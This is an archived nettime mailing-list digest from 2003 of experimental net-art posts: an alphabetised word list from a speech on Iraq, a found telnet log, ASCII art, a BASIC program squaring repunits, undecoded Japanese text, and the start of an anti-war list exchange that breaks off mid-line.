gallons\ngame\ngames\ngaps\nget\ngive\ngiven\nGiven\nGood\ngovernment\nGovernment\nGovernment\ngreat\ngroups\ngroups\ngrow\ngrowing\ngrowth\nhad\nhands\nhas\nhas\nhas\nhas\nhas\nhas\nHas\nhave\nhave\nhave\nhave\nhave\nhealth\nheavy\nheavy\nhelp\nhelp\nhelp\nhelp\nhelp\nhelping\nhide\nhigh\nhigh-level\nhigh-level\nhighly\nhis\nhome\nhome\nhowever\nHussein\nHussein\nI\nI\nI\nI\nI\nI\nI\nI\nI\nI\nI\nidentified\nidentified\nif\nimmediate\nimmediate\nimplementing\nimportant\nimportant\nimportant\nimprove\nimproving\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nin\nIn\nIn\nIn\nIn\nIn\ninactions\ninclude\ninclude\nincluded\nincluding\nincluding\nincome\nincomes\nincrease\nincrease\ninforming\ninherited\ninitiatives\ninitiatives\ninitiatives\ninspection\ninspections\ninspections\ninspector\ninspectors\ninspectors\ninspectors\ninspectors\ninspectors\nInspectors\ninspectors\ninstance\ninstead\nInstead\nInstead\ninstitutions\nintended\nintention\nintercontinental\nInternational\nInterviews\ninto\ninvest\ninvestment\ninvolved\ninvolved\nIraq\nIraq\nIraq\nIraq\nIraq\nIraq\nIraq\nIraq\nIraq\nIraq\nIraq\nIraq's\nIraq's\nIraq's\nIraq's\nIraq's\nIraq's\nIraq's\nIraq's\nIraq's\nIraq)\nIraqi\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nis\nit\nit\nit\nit\nit\nit\nit\nit\nit\nit\nit\nIt\nIt\nIt\nIt\nits\nits\nits\nits\nits\nits\nits\nits\nits\nits\nits\nits\nJapanese\njob\njob\njob\njobs\njobs\njoin\nKazakhstan\nKazakhstan\nKazakhstan\nkeeping\nkey\nkill\nkill\nknow\nknows\nlarger\nLast\nlater\nlater\nlaunched\nlay\nlead\nled\nlengthy\nlest\nlie\nlike\nlimit\nlist\nlistening\nlives\nlook\nlooks\nmachinery\nmade\nmade\nmade\nmaintain\nmaintains\nmajor\nmake\nmanufacture\nmany\nMany\nmarriage\nmass\nmass\nmaterial\nmaterial\nmaterials\nme\nmeasure\nMedicare\nMedicare\nmeet\nmeet\nmillion\nMissile\nmissiles\nmissiles\nmodernize\nmoney\nmore\nmore\nmore\nmore\nmorning\nmoved\nmoving\nmust\nmust\nmust\nmy\nmy\nmy\nmystery\nnation\nnation\nnation\nnation\nnation\nnation\nnation\nnational\nnational\nnational\nnations\nNations\nNations\nNations\nNations\nNations\nNations\nNations\nNations\nNations\nnecessary\nneeded\nneeds\nnerve\nnerve\nnew\nnew\nnew\nnew\nnew\nno\nno\nnot\nnot\nnot\nnot\nnot\nnot\nnuclear\nnuclear\nnuclear\nnuclear\nnuclear\nnuclear\nNuclear\nobligation\nobligation\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\nof\noffer\nofficials\noften\non\non\non\nonce\nonce\none\none\nongoing\nonly\nonly\nopen\noperation\nor\nor\norderly\nOrganization\noriginal\nother\nother\nother\nothers\nour\nour\nour\nour\nour\nour\nour\nour\nour\nour\nOur\nout\noutlaw\nparticularly\npass\npassages\npassed\npassengers\npast\npast\npattern\npaychecks\npeace\npenalty\npeople\npeople\npeople\npeople\npeople\npeople\npercent\npicture\nplace\nplagiarism\nplan\nplanned\npolitical\npolitical\npossible\npractice\nprepare\nprescription\npresence\npresented\npresented\npreviously\npreviously\nprices\npriorities\npriorities\npriorities\npriorities\npriority\npriority\nproduce\nproduction\nprogram\nprogram\nprogram\nprograms\nprograms\nprograms\nprograms\nprograms\npromises\npropose\npropose\nprosperity\nprosperous\nprosperous\nprotect\nprovide\nprovide\nprovide\nprovide\nprovide\nproving\npublicly\npurpose\npurpose\npurpose\nquality\nquestions\nquestions\nquickly\nQusay\nraise\nraw\nre-employment\nrecent\nrecent\nrecession\nreconnaissance\nrecord\nreducing\nreduction\nreflected\nreflection\nregime\nregime\nregime's\nregime's\nregimes\nrelief\nrelief\nremain\nremove\nremove\nreports\nRepublicans\nreputation\nrequired\nresolution\nResolution\nResolution\nresorted\nresounding\nresponsibilities\nrestraint\nreturn\nreturned\nrevealed\nRichard\nrid\nright\nrigorous\nrise\nrising\nrunning\nruns\nRussia\nRussian\nSaddam\nSaddam\nsafer\nsame\nsarin\nscientist\nscientists\nSecurity\nSecurity\nSecurity\nseen\nseniors\nseniors\nseniors\nsession\nset\nset\nsetting\nseven\nshell\nshould\nshould\nshould\nshould\nsicken\nsignificant\nsilos\nsimilar\nsites\nsmall\nSo\nsole\nsomething\nson\nsoon\nsources\nSouth\nSouth\nSoviet\nspeak\nSpecial\nspecific\nspecific\nspectacular\nspending\nspending\nSpending\nsqueezed\nstall\nstarker\nstate\nState\nStates\nStates\nstaying\nsteady\nstill\nstill\nstockpiles\nstrategic\nstrength\nstrengthen\nstrengthen\nStrengthening\nstruggling\nsubmit\nsubmitted\nsubway\ntake\ntaken\ntax\ntax\ntax\ntaxation\ntaxpayers\nterror\nterrorist\nterrorists\ntext\nthan\nthan\nThank\nthat\nthat\nthat\nthat\nthat\nthat\nthat\nthat\nthat\nthat\nthat\nthat\nthat\nthat\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nthe\nThe\nThe\nThe\nThe\nThe\nThe\nThe\ntheir\nthem\nthem\nthem\nthemselves\nthemselves\nThere\nthere\nthese\nthese\nThese\nthey\nthey\nThey\nthis\nthis\nthis\nthis\nthis\nthis\nThis\nthose\nthough\nthousands\nthousands\nthousands\nthreats\nthwart\ntime\ntime\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nto\nToday\nTokyo\nton\ntons\ntraining\ntransparency\ntransparency\nTreasury\ntreating\ntroubling\ntrue\nTuesday\ntwo\ntype\ntype\nUkraine\nUkraine\nunabashed\nunanimously\nUnder\nunemployed\nunfair\nUnfortunately\nunimpeded\nUnion\nUnion\nUnited\nUnited\nUnited\nUnited\nUnited\nUnited\nUnited\nUnited\nUnited\nUnited\nUnited\nUnlike\nunrestricted\nunrestricted\nup\nup\nup\nuranium\nuranium\nuranium\nurge\nurge\nurge\nuse\nused\nused\nverification\nvoluntarily\nvoluntarily\nvoluntary\nVX\nVX\nwant\nwar\nwar\nwarhead\nwarhead\nwarheads\nwarheads\nwarmly\nwas\nwas\nWashington\nwatchful\nwe\nwe\nwe\nwe\nwe\nwe\nWe\nWe\nWe\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweapons\nweek's\nweeks\nwell\nwell-earned\nwere\nwere\nwere\nwere\nwere\nwhat\nwhen\nwhen\nWhen\nWhen\nwhich\nwhich\nwhich\nwhich\nwho\nwho\nwho\nwho\nwho\nwho\nwhose\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwill\nwith\nwith\nwith\nwith\nwith\nwith\nwith\nwith\nwith\nwith\nwith\nwith\nwith\nWith\nword-for-word\nwork\nwork\nwork\nwork\nwork\nworked\nworked\nworkers\nworkers\nworkers'\nworking\nworking\nworld\nworld\nworld\nwrong\nyear\nyear\nyear\nyet\nyou\nyou\n\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Mail Plus - Powerful. Affordable. Sign up now.\nhttp://mailplus.yahoo.com\n\n\n\n\nFrom: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\nSubject: Re: [Softwareandculture] text|code text|code \nDate: Wed, 29 Jan 2003 13:44:58 +1100\n\nAt 06:51 PM 28/01/2003 -0500, you wrote:\n>hu][bris wo][man wrote:\n>\n>Are you sure you want to sign up for the *bris* part?\n>\n>\\brad mccormick\n\nheh.\n\nno, typ][o][ing of which would be m.possible.\n\nin non Berith,\nmez\n\n\n\n\n\n- pro][tein][.logging.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/\n_\n_sparks of lost hu][bris][man $cent][+re.sieved][_\n\n\nSoftwareandculture mailing list\nSoftwareandculture {AT} listserv.cddc.vt.edu\nhttp://listserv.cddc.vt.edu/mailman/listinfo/softwareandculture\n\n\n\n\n\nDate: Tue, 28 Jan 2003 14:25:09 -0600 (CST)\nFrom: Karl Petersen <diocletian {AT} visi.com>\nSubject: found ascii\n\n[Text incomplete in original source]\nwebs lumina telent\nTrying 128.101.86.2...\nConnected to pubinfo.ais.umn.edu.\nEscape character is '^]'.\n5Gp  |YENTER PASSCODE: pA&|(rpAS|8pK2|Y\n                     pMB|Y\n                      pNK|Y\n                       pOS|Y\n                        pP2|Y\n                         pRB|Y\n                          p!K|Y\n                           p$S|Y  5Gp  |YENTER PASSCODE: pA&|(rpAS|8pK2|Y\n                                                       pMB|Y\n                                                        pNK|Y\n                                                         pOS|Y\n                                                          pP2|Y\n                                                           pRB|Y\n                                                            p!K|Y\n                                                             p$S|Y  Terminated\n\n\n   [CHINESE CHARACTERS NOT REPRODUCIBLE IN ACSII]\n\nsource:-rw-r--r--  1 diocletian  wheel  2480 Jan 23 20:30 err\n\n-- \nWith only one line it's a trivial thing to check for matching quotation marks.\n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nSubject: --------------i oN--------o\nDate: Wed, 29 Jan 2003 19:53:36 +0100\n\n        /** Reinitialize to the unit matrix */\n           void unit() {\n\n                    d    f\n\n\n      o--------------i oN--------o\n                     f r\n\n                     F M\n\n\n                    \u00e9   i\n                     r D\n                    E n A\n                    m   b\n                   m     l\n                    e    e\n\n                   N    E!\n\n                    T\n                                   }\n\n\nhttp://www.atelierblanc.net/p-gustin/uTOpia/so-0.html\nhttp://www.atelierblanc.net/p-gustin/uTOpia/so-o0.html\nhttp://www.atelierblanc.net/p-gustin/uTOpia/so-oo0.html\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \nprojet/cuneifoRM :\nhttp://gustin.pascale.free.fr\n               o---------------o\nhttp://www.atelierblanc.net/p-gustin/02atelier/cadre1.htm\n\n\n\n\n\n\n\n\n\n\n\nDate: Mon, 27 Jan 2003 16:48:38 -0800\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: Re: My Usual Moves\n\nhttp://www.mat.ulaval.ca/anum/ch2/images/fix2.jpg\n\n\n\n=81w=82Q=8F=E6=82=B7=82=E9=82=C6=81E=81EPart=82R=81x=89=F0=93=9A\n\n---------------------------------------------------------------------------=\n-----\n\n=81=9F=8DL=93=87=8C=A7=81 {AT} =90=B4=90=EC=81 {AT} =88=E7=92j=82=B3=82=F1=82=A9=82=\n=E7=82=CC=89=F0=93=9A=81B\n\n=8F\\=90i=83x=81[=83V=83b=83N=82=C5=83v=83=8D=83O=83=89=83=80=82=F0=91g=82=\n=F1=82=C5=82=DD=82=DC=82=B5=82=BD=81B\n=8Fo=97=CD=8C=8B=89=CA=82=CD=82=C6=82=C4=82=E0=E3Y=97=ED=82=C5=82=B7=81B\n\n=81 {AT} FOR I=3D1 TO 36\n   LET  A=3D10^I-1\n   LET  B=3DA*A\n   PRINT USING \"##\":I;\n   PRINT B\n  NEXT I\n  PRINT\n  FOR I=3D1 TO 36\n   LET  A=3D0\n   FOR J=3D1 TO I\n      LET  A=3DA+5*10^(J-1)\n   NEXT J\n   LET  B=3DA*A\n   PRINT USING \"##\":I;\n   PRINT B\n  NEXT I\n  END\n\n  1 81\n  2 9801\n  3 998001\n  4 99980001\n  5 9999800001\n  6 999998000001\n  7 99999980000001\n  8 9999999800000001\n  9 999999998000000001\n 10 99999999980000000001\n 11 9999999999800000000001\n 12 999999999998000000000001\n 13 99999999999980000000000001\n 14 9999999999999800000000000001\n 15 999999999999998000000000000001\n 16 99999999999999980000000000000001\n 17 9999999999999999800000000000000001\n 18 999999999999999998000000000000000001\n 19 99999999999999999980000000000000000001\n 20 9999999999999999999800000000000000000001\n 21 999999999999999999998000000000000000000001\n 22 99999999999999999999980000000000000000000001\n 23 9999999999999999999999800000000000000000000001\n 24 999999999999999999999998000000000000000000000001\n 25 99999999999999999999999980000000000000000000000001\n\n 26\n9999999999999999999999999800000000000000000000000001\n 27\n999999999999999999999999998000000000000000000000000001\n\n 28\n99999999999999999999999999980000000000000000000000000001\n\n 29\n9999999999999999999999999999800000000000000000000000000001\n\n 30\n999999999999999999999999999998000000000000000000000000000001\n\n 31\n99999999999999999999999999999980000000000000000000000000000001\n\n 32\n9999999999999999999999999999999800000000000000000000000000000001\n\n 33\n999999999999999999999999999999998000000000000000000000000000000001\n\n 34\n99999999999999999999999999999999980000000000000000000000000000000001\n\n 35\n9999999999999999999999999999999999800000000000000000000000000000000001\n\n 36\n999999999999999999999999999999999998000000000000000000000000000000000001\n\n\n  1 25\n  2 3025\n  3 308025\n  4 30858025\n  5 3086358025\n  6 308641358025\n  7 30864191358025\n  8 3086419691358025\n  9 308641974691358025\n 10 30864197524691358025\n 11 3086419753024691358025\n 12 308641975308024691358025\n 13 30864197530858024691358025\n 14 3086419753086358024691358025\n 15 308641975308641358024691358025\n 16 30864197530864191358024691358025\n 17 3086419753086419691358024691358025\n 18 308641975308641974691358024691358025\n 19 30864197530864197524691358024691358025\n 20 3086419753086419753024691358024691358025\n 21 308641975308641975308024691358024691358025\n 22 30864197530864197530858024691358024691358025\n 23 3086419753086419753086358024691358024691358025\n 24 308641975308641975308641358024691358024691358025\n 25 30864197530864197530864191358024691358024691358025\n\n 26\n3086419753086419753086419691358024691358024691358025\n 27\n308641975308641975308641974691358024691358024691358025\n\n 28\n30864197530864197530864197524691358024691358024691358025\n\n 29\n3086419753086419753086419753024691358024691358024691358025\n\n 30\n308641975308641975308641975308024691358024691358024691358025\n\n 31\n30864197530864197530864197530858024691358024691358024691358025\n\n 32\n3086419753086419753086419753086358024691358024691358024691358025\n\n 33\n308641975308641975308641975308641358024691358024691358024691358025\n\n 34\n30864197530864197530864197530864191358024691358024691358024691358025\n\n 35\n3086419753086419753086419753086419691358024691358024691358024691358025\n\n 36\n308641975308641975308641975308641974691358024691358024691358024691358025\n\n=81 {AT} =8BK=91=A5=90=AB=82=C9=82=C2=82=A2=82=C4=82=CD=90F=81X=82=C8=95\\=8C=BB=\n=82=AA=8Fo=97=88=82=E9=82=C6=8Ev=82=A2=82=DC=82=B7=81B\n\n\n---------------------------------------------------------------------------=\n-----\n\n=81=9F=88=EF=8F=E9=8C=A7=81 {AT} =93=BD=96=BC =82=B3=82=F1=82=A9=82=E7=82=CC=89=\n=F0=93=9A=81B\n\n9=81c92=82=CC=8F=EA=8D=87=82=C9=82=C2=82=A2=82=C4=81B\n\n9=81c9=81=8110n=81|1=82=C6=95\\=82=B9=82=DC=82=B7=81B\n=81=A9=81=A8\nn=8C=C2=82=CC=82X\n\n=81 {AT} (9=81c9)2\n=81=81(10n=81|1)2\n=81=81102n=81|2*10n=81{1\n=81=81(10n=81|2)*10n=81{1\n=81=81(9=81c98)*10n=81{1\n=81=819=81c980=81c01\n=81 {AT} =81=A9=81=A8 =81=A9=81=A8\n(n-1)=8C=C2=82=CC=82X=82=C6=82O\n=82=E2=82=C1=82=C4=82=DD=82=E9=82=DC=82=C5=81A=82=B1=82=F1=82=C8=8BK=91=A5=\n=90=AB=82=AA=82\n=82=E9=82=C6=82=CD=8Ev=82=A2=82=E0=82=B5=82=DC=82=B9=82=F1=82=C5=82=B5=82=\n=BD=81B\n\n\n---------------------------------------------------------------------------=\n-----\n\n=81=9F=8B=9E=93s=95{=82=CC=8D=82=8DZ=90=B6=81 {AT} =82=DC=81[=82=AB=82=E3 =82=B3=\n=82=F1=82=A9=82=E7=82=CC=89=F0=93=9A=81B\n\n=81y=96=E2=91=E8=82P=81z\n\n=82X=81C=82X=82X=81C=82X=82X=82X=81A=81E=81E=81E=81E=81E=82=CD=82=BB=82=EA=\n=82=BC=82=EA=82P=82On=81|=82P=82=C6=95\\=82=B9=82=E9=81B\n\n=82=B1=82=EA=82=F0=82Q=8F=E6=82=B5=82=C4=93W J=82=B5=82=C4=82=DD=82=E9=82=\n=C6=81A\n=82P=82O2n=81{=82P=81|=82Q=81~=82P=82On=82=C6=82=C8=82=E9=81B\n\n=82=E6=82=C1=82=C4=81A=82=8E=81|=82P=8C=C2=82X=82=AA=91=B1=82=AB=81A\n=82=BB=82=CC=82 =82=C6=82P=82O=81|=82Q=82=CC=82W=82=AA=82=AB=82=C4=81A\n=82O=82=AA=82=DC=82=BD=82=8E=81|=82P=8C=C2=91=B1=82=A2=82=C4=8D=C5=8C=E3=82=\n=C9=82P=82=AA=82=AD=82=E9=81B\n\n\n\n---------------------------------------------------------------------------=\n-----\n\n=81=9F=8B{=8F=E9=8C=A7=81 {AT}  =C3=90=F2=96 {AT} =8Et =82=B3=82=F1=82=A9=82=E7=82=CC=\n=89=F0=93=9A=81B\n\n11111111=A5=A5=A51112=82=F0=95M=8EZ=82=B7=82=E9=81B\n\n\n\nA=81F\n=82=B1=82=CC=97=F1=82=CC=98a=82=CD=82W=82=BE=82=AA=89=BA=82=CC=88=CA=82=A9=\n=82=E7=82=CC=8CJ=82=E8=8F=E3=82=AA=82=E8=81{=82P=82=C5=82X\n=82W=94=B2=82=AF=82=C5=8F=87=82=C9=90=94=8E=9A=82=AA=91=B1=82=AD\n\nB=81F\n=82=B1=82=CC=97=F1=82=CC=98a=82=CD1=82=BE=82=AA=89=BA=82=CC=88=CA=82=A9=82=\n=E7=82=CC=8CJ=82=E8=8F=E3=82=AA=82=E8=81{=82P=82=C5=82Q\n=82P=94=B2=82=AF=82=C5=82=DC=82=BD=8F=87=82=C9=90=94=8E=9A=82=AA=91=B1=82=\n=AD\n\n=8BK=91=A5=90=AB=81F\n=82P=82=CC=88=CA=82=CD=82P=82=C5=81A=82=BB=82=EA=82=E6=82=E8=8F=E3=82=CC=88=\n=CA=82=C5=82=CD\n=89=BA=82=CC=88=CA=82=A9=82=E7=8F=E3=82=D6=81 {AT} 098765432=81 {AT} =82=AA=8CJ=82=E8=\n=95=D4=82=B5=81A\n=8F=E3=82=CC=88=CA=82=A9=82=E7=89=BA=82=D6 123456790 =82=AA=8CJ=82=E8=95=D4=\n=82=B7=81B\n\n=81y=96=E2=91=E8=82Q=81z\n\n5555=A5=A5=A55555552=81 {AT} =82=CD=81 {AT} =82=B1=82=EA=82=F052=3D25=94{=82=B5=82=C4\n\n=8BK=91=A5=90=AB=81F\n=89=BA=93=F1=8C=85=82=CD=82Q=82T=82=C5=81A=82=BB=82=EA=82=E6=82=E8=8F=E3=82=\n=CC=88=CA=82=C5=82=CD=81A\n=89=BA=82=CC=88=CA=82=A9=82=E7=8F=E3=82=D6=81 {AT} 246913580=81 {AT} =82=AA=8CJ=82=E8=\n=95=D4=82=B5=81A\n=8F=E3=82=CC=88=CA=82=A9=82=E7=89=BA=82=D6 308641975 =82=AA=8CJ=82=E8=95=D4=\n=82=B7=81B\n\n=81y=96=E2=91=E8=82P=81z\n\n9999=A5=A5=A5999992=81 {AT} =82=CD=81 {AT} =82=B1=82=EA=82=F092=3D81=94{=82=B5=82=C4\n\n=8BK=91=A5=90=AB=81F\n=89=BA=93=F1=8C=85=82=CD81=82=C5=81A=82=BB=82=EA=82=E6=82=E8=8F=E3=82=CC=88=\n=CA=82=C5=82=CD=81A\n=89=BA=82=CC=88=CA=82=A9=82=E7=8F=E3=82=D6=81 {AT} 7999999992=82=AA=8CJ=82=E8=95=\n=D4=82=B7=82=CD=82=B8=82=BE=82=AA=81A=8E=C0=8D=DB=82=CD=8CJ=82=E8=8F=E3=82=\n=AA=82=E8=82=C5\n\n\n\n=8D=C5=8F=E3=88=CA=82=CC=82W=82=CD=8E=9F=82=CC=8CJ=82=E8=95=D4=82=B5=82=CC=\n=82P=82=CC=88=CA=82=CC=82Q=82=F0=89=C1=82=A6=82=C40=8Ds=90i=82=AA=8F=E3=82=\n=C9=90i=82=DE=81B\n=8F=E3=82=CC=88=CA=82=A9=82=E7=89=BA=82=D6=82=CD =82X =82=AA=8CJ=82=E8=95=\n=D4=82=B7=81B\n\n\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Mail Plus - Powerful. Affordable. Sign up now.\nhttp://mailplus.yahoo.com\n\n\n\n\nDate:         Thu, 30 Jan 2003 09:42:01 +1100\nFrom: \"hu][bris wo][man\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: x.$ellent wurk[s]\n\nhttp://socialfiction.org/scrabble/index.htm\n\n\n\n\n- pro][tein][.logging.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/\n_\n_sparks of lost hu][bris][man $cent][+re.sieved][_\n\n\n\n\n\n\nnettime unstable digest vol 32\nSun Feb  2 20:56:30 2003\n\n\nSubject: Re: <nettime> unstable digest vol 31\n    From: Bernd Leifeld <leifeld {AT} documenta.de>\n\nSubject: War\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: Information Operation\n    From: Lawrence Upton <lawrence.upton {AT} BRITISHLIBRARY.NET>\n\nSubject: Fw:  Fw: 1ckhromaschinexualn+e+\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n\nSubject: text|code text|code  ::exe.][elo][cution   text|code text|code\n    From: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\n\nSubject: .com[*].bat parts\n    From: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\n\nSubject: \"How can you hold yr thumb like that: an index\"\n    From: CE Putnam <swineburne {AT} YAHOO.COM>\n\nSubject: Re: [Softwareandculture] text|code text|code \n    From: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\n\nSubject: found ascii\n    From: Karl Petersen <diocletian {AT} visi.com>\n\nSubject: --------------i oN--------o\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n\nSubject: Re: My Usual Moves\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n\nSubject: x.$ellent wurk[s]\n    From: \"hu][bris wo][man\" <netwurker {AT} HOTKEY.NET.AU>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 2 Feb 2003 20:57:45 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200302030847.h138lNR27066 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0302/msg00010.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 32"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00158",
                "content": "\nTo: 7-11 {AT} mail.ljudmila.org\nDate: Tue, 25 Mar 2003 12:40:42 -0600 (CST)\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: Al Jazeera - objective and balanced global news coverage and\n\n\n   [banner.gif]\n   [mainheader.jpg]\n   \n   Homepage [spacer.gif] [spacer.gif] [spacer.gif] / [spacer.gif]\n   Features [spacer.gif] /\n   [print.gif] [email.gif]\n   Basra on verge of humanitarian crisis\n   [spacer.gif]\n   [print.gif] [email.gif]\n   [spacer.gif]\n   [homepage.gif] \n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate:         Fri, 21 Mar 2003 09:37:32 +1100\nFrom: \"a][nti][nglo.cubic\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: Re: Get your \"NO WAR\"\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nAt 06:20 AM 20/03/03 -0800, you wrote:\n>\n>\" If nothing else, you can examine your own brain patterns before,\n>during and after the event.\"\n>\n>i agree! really, it's the only way an artist can approach it---\n\n\n+ offering a social filter aler.ting[le?]\n\n\n>the thing about war and anti-war activitsts is, it becomes (horribly)\n(thematically) more trend than content--putting up a NO WAR page is not\ngoing to accomplish anything at all\n\n\n????????\nhow dare u make this claim, LL?\n\ncan u d.termine the paths + passages of info-impacts?\n\n[help.less.ness_is_KNOT_d.termined_by_flippant_egoship!!!]\n\nbah!\n\n[is yr writing powerless due 2 its target audience niche? is this trawling\n+ dispersal \"not going to accomplish anything at all\"]\n\n:|\n\n\n>(you can make the claim that it will provide information about the\nsituation by linking to various news sources, but don't you think anyone\nreally interested in this woulda sniffed that stuff out already?)--\n\n\nso literal, LL.\n\n*sighing_thru_my_lateral_mouth*\n\n\n>i agree with t.whid////i'm against this war primarily because it will\nprovoke more anger from an already angry (rightfully so)\npopulation------i'm also against it because of the very dangerous ideology\ngeorge w. bush has been using---it's an ideology firmly entrenched in its\nown snug corner of the world---there's an axis of evil because there are\npolitical ideologies different from american capitalism---this is\ncomic-book logic---\n>\n\n\n& wot re: the banal logic of the assumer?\n+ cloaked apathy + n.gendered blockages of [symbolic] action stances that u\nc.k 2 w[ord]ash away above?\n\n[symptomatically + author.ity occulsions]\n\npfft.\n\n\n\n>probably the most useful thing we can do is be kind to each other, and to\nespecially be kind to muslims here in the US (they've had a tough time\nsince 911!!!!)----understanding and kindness are ALWAYS more effective than\nbombs----THAT'S a helluva lot more effective than a NO WAR page----\n>\n\n\n+ b AWARE of [y]our own baggage\n+ remove_the_judgement_need[les]\n\n\n>we can also be watchful of civil liberties in this age of heightened\nsecurity---i had a moroccan friend a while back who was a muslim----when i\nbrought up the ACLU, he smiled and said, yes, this is why we come to your\ncountry----this is what we should keep in mind....america is only as great\nas the manifestation of that ideal---\n>\n\n..+ the accumulation of that ideal silt in bobs + filtered patches.\n\n\n*head shake.ages*\nmez\n\n\n\n\n\n===*: Target left PEACENet.\nFailed to deliver: [+ 33 other coun.t.ires]\n===*: Target left SANITYNet.\nFailed to deliver: [good]\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nTo: \"s-.-.~\" <7-11 {AT} mail.ljudmila.org>\nDate: Fri, 28 Mar 2003 12:30:00 +0100\nSubject: http://www.chromaticspaceandworld.com/cgi-bin/THE_TRUTH.CGI\n\nhttp://www.chromaticspaceandworld.com/cgi-bin/THE_TRUTH.CGI\n\nTHE TRUTH _ Mar-28-06:24:45-2003\n\n\n\n CNN/Money:  Up for bids?          24 ore\n\n adSetTarget('_top');     